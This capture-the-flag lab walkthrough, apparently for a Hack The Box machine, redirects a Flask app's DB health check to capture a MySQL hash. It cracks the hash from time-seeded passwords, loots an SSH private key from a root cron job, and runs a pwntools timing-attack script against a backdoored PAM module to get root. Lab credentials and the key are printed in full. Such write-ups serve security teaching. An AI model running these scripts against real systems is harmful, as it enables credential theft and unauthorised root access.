www-data@wordpress:/$ dig -x 172.69.0.104

; <<>> DiG 9.11.5-P4-5.1+deb10u5-Debian <<>> -x 172.69.0.104
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32752
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;104.0.69.172.in-addr.arpa.     IN      PTR

;; ANSWER SECTION:
104.0.69.172.in-addr.arpa. 600  IN      PTR     personal.tobynet.

;; Query time: 0 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Sun Nov 07 19:52:02 UTC 2021
;; MSG SIZE  rcvd: 98

www-data@wordpress:/$ echo 1 >/dev/tcp/172.69.0.104/80

Since we already have a chisel socks running we can just add the proxy to firefox and open the page in our browser. The page has multiple functionalities but most of them don’t seem to do that much.

055_personal_home

Looking at the password generation it makes a request to /api/password. This path is also mentioned in the app.py of the personal-webapp repository so we seem to have found the correct web app.

060_api_password

Looking at the source there is an interesting looking parameter we can add to the /api/dbtest route.

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3

import json
import random
import time
import string
from subprocess import Popen, PIPE
import os
import ipaddress
from flask import *

app = Flask(__name__, static_folder="", static_url_path="/static")

def validate_ip(ip):
        try:
                if "/" in ip:
                        raise ValueError("Please no netmasks!")
                _ = ipaddress.ip_address(ip)
        except Exception as e:
                return False
        return True

## API START

# NOT FOR PROD USE, USE FOR HEALTHCHECK ON DB
# 01/07/21 - Added dbtest method and warning message
# 06/07/21 - added ability to test remote DB
# 07/07/21 - added creds
# 10/07/21 - removed creds and placed in environment
@app.route("/api/dbtest")
def dbtest():
        hostname = "mysql.toby.htb"
        if "secretdbtest_09ef" in request.args and validate_ip(request.args['secretdbtest_09ef']):
                hostname = request.args['secretdbtest_09ef']
        username = os.environ['DB_USERNAME']
        password = os.environ['DB_PASSWORD']
	# specify mysql_native_password in case of server incompatibility
        process = Popen(['mysql', '-u', username, '-p'+password, '-h', hostname, '--default-auth=mysql_native_password', '-e', 'SELECT @@version;'], stdout=PIPE, stderr=PIPE)
        stdout, stderr = process.communicate()
        return (b'\n'.join([stdout, stderr])).strip()
		
...[snip]...

Running it without the parameter it tries to connect to the mysql database but get’s access denied.

065_db_request

With secretdbtest_09ef we can however specify the hostname and make it connect to something else. To intecept the request in burp and play with it we first have to add the chisel socks to burp.

070_burp_socks

Now we can set up a nc listener on the mysql port 3306 on our machine to listen for incoming connection.

1
2
3
4
$ nc -lnvp 3306
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::3306
Ncat: Listening on 0.0.0.0:3306

We send the request in burp with our ip as value for secretdbtest_09ef.

075_burp_req

This results in a connection on our ncat listener. from the target machine.

1
2
3
4
5
6
$ nc -lnvp 3306
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::3306
Ncat: Listening on 0.0.0.0:3306
Ncat: Connection from 10.129.228.82.
Ncat: Connection from 10.129.228.82:39778.

To capture the mysql login credentials we can use metasploit’s auxiliary/server/capture/mysql module. We set the value for JOHNPWFILE to /tmp to save the hash to a file in john format and run the module. Sending the request in repeater again the target tries to authenticate to us and we are able to retrieve the password hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sudo msfdb run
...[snip]...
msf6 > use server/capture/mysql
msf6 auxiliary(server/capture/mysql) > set JOHNPWFILE /tmp/
JOHNPWFILE => /tmp/
msf6 auxiliary(server/capture/mysql) > options

Module options (auxiliary/server/capture/mysql):

   Name        Current Setting                           Required  Description
   ----        ---------------                           --------  -----------
   CAINPWFILE                                            no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   112233445566778899AABBCCDDEEFF1122334455  yes       The 16 byte challenge
   JOHNPWFILE  /tmp/                                     no        The prefix to the local filename to store the hashes in JOHN format
   SRVHOST     0.0.0.0                                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT     3306                                      yes       The local port to listen on.
   SRVVERSION  5.5.16                                    yes       The server version to report in the greeting response
   SSL         false                                     no        Negotiate SSL for incoming connections
   SSLCert                                               no        Path to a custom SSL certificate (default is randomly generated)


Auxiliary action:

   Name     Description
   ----     -----------
   Capture  Run MySQL capture server


msf6 auxiliary(server/capture/mysql) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/mysql) >
[*] Started service listener on 0.0.0.0:3306
[*] Server started.
[+] 10.129.228.82:39898 - User: jack; Challenge: 112233445566778899aabbccddeeff1122334455; Response: bcd7323fe921ced57a1bedbda67f9d2d63b8badb
1
2
$ cat /tmp/_mysqlna
jack:$mysqlna$112233445566778899aabbccddeeff1122334455*bcd7323fe921ced57a1bedbda67f9d2d63b8badb

The password for this might have been generate by the api_password function in app.py.

app.py

1
2
3
4
5
6
7
8
9
10
...[snip]...
@app.route("/api/password")
def api_password():
	chars = string.ascii_letters + string.digits
	random.seed(int(time.time()))
	password = ''.join([random.choice(chars) for x in range(32)])
	return Response(json.dumps({"password": password}), mimetype="application/json")

## API END
...[snip]...

What we need now is a timeframe since the seed of the random function takes the current time. Looking at the comments of app.py # 10/07/21 - removed creds and placed in environment indicates that the password might have been generated one 10/07/21. Converting the timeframe to two epoch timestamps we are able to write a script that prints all possible passwords for that day.

1
2
3
4
$ date -d '07/10/2021 00:00:00' +"%s"
1625875200
$ date -d '07/11/2021 00:00:00' +"%s"
1625961600

genpw.py

1
2
3
4
5
6
7
8
9
10
11
12
13
import random
import string
import random

start = 1625875200
end   = 1625961600
chars = string.ascii_letters + string.digits


for i in range(start,end):
    random.seed(i)
    password = ''.join([random.choice(chars) for x in range(32)])
    print(password)
1
$ python genpw.py > passwords

Using this wordlist the hash cracks very quickly to 4DyeEYPgzc7EaML1Y3o0HvQr9Tp9nikC.

1
2
3
4
5
6
7
8
9
$ john --wordlist=./passwords hash
Using default input encoding: UTF-8
Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
4DyeEYPgzc7EaML1Y3o0HvQr9Tp9nikC (jack)
1g 0:00:00:00 DONE (2021-11-07 21:37) 12.50g/s 819200p/s 819200c/s 819200C/s AoZhs8SkHdoYzT9gBqAVRw3YUct7aA1B..aVRH5bTVtfnSv1ymYMbC05BnxA3eMD1c
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Next we need to figure out where to use those credentials. Since this was supposed to log into the mysql docker we check if this machine also has ssh open which is the case.

1
2
3
4
5
6
7
8
9
10
11
$ proxychains nmap -p22 172.69.0.102
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-07 20:42 UTC
Nmap scan report for 172.69.0.102
Host is up (0.58s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds

Using the credentials jack:4DyeEYPgzc7EaML1Y3o0HvQr9Tp9nikC we are now able to ssh into the mysql docker using proxychains.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ proxychains ssh jack@172.69.0.102
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
jack@172.69.0.102's password:
Linux mysql.toby.htb 5.4.0-89-generic #100-Ubuntu SMP Fri Sep 24 14:50:10 UTC 2021 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jack@mysql:~$

Cronjob

There isn’t much of interest on this docker so we transfer pspy over to the machine to have a closer look at processes.

1
2
3
4
5
$ proxychains scp ./pspy64 jack@172.69.0.102:/tmp/pspy64
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
jack@172.69.0.102's password:
pspy64

Running it reveals an interesting process by root which seems to use a ssh key in a temporary file to scp a backup.

1
2
3
4
5
6
7
8
9
jack@mysql:~$ chmod +x /tmp/pspy64
jack@mysql:~$ /tmp/pspy64
...[snip]...
2021/11/07 20:47:01 CMD: UID=0    PID=29743  | sh -c mysqldump wordpress -uroot -pOnlyTheBestSecretsGoInShellScripts > /tmp/tmp.Isu5vNeMFh/backup.txt
2021/11/07 20:47:02 CMD: UID=0    PID=29744  | runc init
2021/11/07 20:47:02 CMD: UID=0    PID=29752  | runc init
2021/11/07 20:47:02 CMD: UID=0    PID=29759  | runc init
2021/11/07 20:47:02 CMD: UID=0    PID=29765  | scp -o StrictHostKeyChecking=no -i /tmp/tmp.Isu5vNeMFh/key /tmp/tmp.Isu5vNeMFh/backup.txt jack@172.69.0.1:/home/jack/backups/1636318022.txt
...[snip]...

Checking for the file it is not there anymore, but running a loot to cat all files with the same naming convention lets us retrieve a private ssh key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
jack@mysql:~$ while :;do cat /tmp/tmp*/key; done 2>/dev/null
-----BEGIN OPENSSH PRIVATE KEY-----
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
0jZ2DP0AFwApsAAAAIcm9vdEBsYWIBAgM=
-----END OPENSSH PRIVATE KEY-----
^C^C
jack@mysql:~$ ^C

This key works to log into the host as the user jack and we can grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ssh -i id_rsa jack@toby.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun  7 Nov 20:51:01 UTC 2021

  System load:                      0.19
  Usage of /:                       61.7% of 16.60GB
  Memory usage:                     34%
  Swap usage:                       0%
  Processes:                        295
  Users logged in:                  1
  IPv4 address for br-202b9de0a72f: 172.69.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.129.228.82

  => There are 2 zombie processes.


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Oct 13 15:15:15 2021 from 10.10.14.6
jack@toby:~$ wc -c user.txt
33 user.txt

Root

Pam backdoor

Taking a look around on the file system there is a suspiciously looking file in /etc.

1
2
jack@toby:/lib$ ls -la /etc/.bd
-r-------- 1 root root 10 Jul 14 13:39 /etc/.bd

Going with the support message from earlier and the general theme of the box with a compromised and backdoored server we see that there is a custom pam library file which sticks out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
jack@toby:/$ ls -la /lib/security/
total 1732
drwxr-xr-x  2 root root   4096 Oct 13 15:15 .
drwxr-xr-x 35 root root  36864 Nov  1 16:00 ..
-rwxr-xr-x  1 root root 240616 Jul 14 11:10 mypam.so
-rw-r--r--  1 root root  18776 Sep 17 06:14 pam_access.so
-rw-r--r--  1 root root  18424 Feb 17  2020 pam_cap.so
-rw-r--r--  1 root root  14560 Sep 17 06:14 pam_debug.so
-rw-r--r--  1 root root  14048 Sep 17 06:14 pam_deny.so
-rw-r--r--  1 root root  14520 Sep 17 06:14 pam_echo.so
-rw-r--r--  1 root root  18720 Sep 17 06:14 pam_env.so
-rw-r--r--  1 root root  23000 Sep 17 06:14 pam_exec.so
-rw-r--r--  1 root root  68656 Sep 17 06:14 pam_extrausers.so
-rw-r--r--  1 root root  14560 Sep 17 06:14 pam_faildelay.so
-rw-r--r--  1 root root  22960 Sep 17 06:14 pam_faillock.so
-rw-r--r--  1 root root  18760 Sep 17 06:14 pam_filter.so
-rw-r--r--  1 root root  14496 Sep 17 06:14 pam_ftp.so
-rw-r--r--  1 root root  18800 Sep 17 06:14 pam_group.so
-rw-r--r--  1 root root  14632 Sep 17 06:14 pam_issue.so
-rw-r--r--  1 root root  14528 Sep 17 06:14 pam_keyinit.so
-rw-r--r--  1 root root  18736 Sep 17 06:14 pam_lastlog.so
-rw-r--r--  1 root root  27136 Sep 17 06:14 pam_limits.so
-rw-r--r--  1 root root  14552 Sep 17 06:14 pam_listfile.so
-rw-r--r--  1 root root  14488 Sep 17 06:14 pam_localuser.so
-rw-r--r--  1 root root  14584 Sep 17 06:14 pam_loginuid.so
-rw-r--r--  1 root root  14560 Sep 17 06:14 pam_mail.so
-rw-r--r--  1 root root  14536 Sep 17 06:14 pam_mkhomedir.so
-rw-r--r--  1 root root  14656 Sep 17 06:14 pam_motd.so
-rw-r--r--  1 root root  43904 Sep 17 06:14 pam_namespace.so
-rw-r--r--  1 root root  14512 Sep 17 06:14 pam_nologin.so
-rw-r--r--  1 root root  14448 Sep 17 06:14 pam_permit.so
-rw-r--r--  1 root root  18848 Sep 17 06:14 pam_pwhistory.so
-rw-r--r--  1 root root  14480 Sep 17 06:14 pam_rhosts.so
-rw-r--r--  1 root root  14552 Sep 17 06:14 pam_rootok.so
-rw-r--r--  1 root root  14552 Sep 17 06:14 pam_securetty.so
-rw-r--r--  1 root root  27088 Sep 17 06:14 pam_selinux.so
-rw-r--r--  1 root root  18808 Sep 17 06:14 pam_sepermit.so
-rw-r--r--  1 root root  14496 Sep 17 06:14 pam_shells.so
-rw-r--r--  1 root root  18632 Sep 17 06:14 pam_stress.so
-rw-r--r--  1 root root  18680 Sep 17 06:14 pam_succeed_if.so
-rw-r--r--  1 root root 475944 Sep  7 18:37 pam_systemd.so
-rw-r--r--  1 root root  18760 Sep 17 06:14 pam_tally2.so
-rw-r--r--  1 root root  18720 Sep 17 06:14 pam_tally.so
-rw-r--r--  1 root root  18768 Sep 17 06:14 pam_time.so
-rw-r--r--  1 root root  23032 Sep 17 06:14 pam_timestamp.so
-rw-r--r--  1 root root  14576 Sep 17 06:14 pam_tty_audit.so
-rw-r--r--  1 root root  14624 Sep 17 06:14 pam_umask.so
-rw-r--r--  1 root root  64504 Sep 17 06:14 pam_unix.so
-rw-r--r--  1 root root  18704 Sep 17 06:14 pam_userdb.so
-rw-r--r--  1 root root  14448 Sep 17 06:14 pam_warn.so
-rw-r--r--  1 root root  14504 Sep 17 06:14 pam_wheel.so
-rw-r--r--  1 root root  27192 Sep 17 06:14 pam_xauth.so

To take a closer look at it we scp it to our machine along the library normally handling authentication and open both of them in ida.

1
2
3
4
$ scp -i id_rsa jack@toby.htb:/lib/security/mypam.so .
mypam.so
$ scp -i id_rsa jack@toby.htb:/lib/security/pam_unix.so .
pam_unix.so

The function of interest here is pam_sm_authenticate. Looking at the custom version it opens the earlier discovered /etc/.bd reads its contents and compares it to the password provided. The interesting thing is that it sleeps for 0.1 seconds after comparing each character.

080_pam_ida

Cross referencing this with the original pam_sm_authenticate the sleep and /etc/.bd are both not present.

085_pam_org_ida

The idea here is that with each correct letter the authentication time increases by 0.1 seconds, which lets us predict if a letter is correct. First we need to find the base time of authentication though.

We create a script using pwntools that ssh’s into the target as jack and tries to su to the root user 20 times with a random password. Each try we measure the time and print out the avergage, max and min time of it.

subrute.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import string
import time

context.log_level = 'INFO'

charspace = string.printable[:-6]
password  = ""
avg = []

s = ssh('jack', 'toby.htb', keyfile='./id_rsa')

for i in range(20):
    io = s.process('su')
    io.recvuntil(b'Password: ')
    start = time.time()

    io.sendline(b'aaaaaaaaaaaaaaaaaaaaaaa')
    io.recvline()
    io.recvline()

    diff = time.time() - start
    io.close()
    avg.append(diff)

print(f'Avergage is {sum(avg) / len(avg)}')
print(f'Max is: {max(avg)}')
print(f'Min is: {min(avg)}')

Running the script we get an average of 1.06 seconds with a deviation to that of about 0.15 seconds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python subrute.py
[+] Connecting to toby.htb on port 22: Done
[*] jack@toby.htb:
    Distro    Ubuntu 20.04
    OS:       linux
    Arch:     amd64
    Version:  5.4.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'su') on toby.htb: pid 349842
[*] Stopped remote process 'su' on toby.htb (pid 349842)
...[snip]...
[+] Starting remote process bytearray(b'su') on toby.htb: pid 349977
[*] Stopped remote process 'su' on toby.htb (pid 349977)
Avergage is 1.0608468174934387
Max is: 1.0741736888885498
Min is: 1.049938678741455

With this information we can now build our su bruteforcer. As charspace we take all printable characters. The length will be padded to 10 characters because there is a check for the passwords to be the same length and we know the /etc/.bd file contains 10 bytes. Now we measure the time for each attempt and when the time is 0.1 seconds longer than a bit under the lower boundary we probably have a valid letter. We also add another time constraint to catch possible total outliers in the other direction.

subrute.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import string
import time

context.log_level = 'ERROR'

charspace = string.printable[:-6]
password  = ""
avg = []

s = ssh('jack', 'toby.htb', keyfile='./id_rsa')
count = 0

while True:

    for c in charspace:
        count += 1
        tmppw = password + c + '-' * (9 - len(password))
        print(f'Progress: {tmppw} || Attempts: {count}', end='\r', flush=True)
        io = s.process('su')
        io.recvuntil(b'Password: ')

        start = time.time()

        io.sendline(tmppw.encode())
        io.recvline()
        io.recvline()

        diff = time.time() - start

        io.close()
        if diff > 1.14 + .1 * len(password) and diff < 1.1 + .1 * (len(password) + 1):
            password += c
            break

Since this is a timebased attack it is best not to stress the network on anything involved while performing the attack. Running the script it hangs after 310 attempts at TihPAQ4pse. This happens because the correct root backdoor password got entered. In case the script doesn’t produce this password another run might help while ensuring nothing is stressing the network.

1
2
$ python subrute.py
Progress: TihPAQ4pse || Attempts: 310

With this password we can now simply switch to the root user and add the flag to our collection.

1
2
3
4
jack@toby:/$ su
Password:
root@toby:/# wc -c /root/root.txt
33 /root/root.txt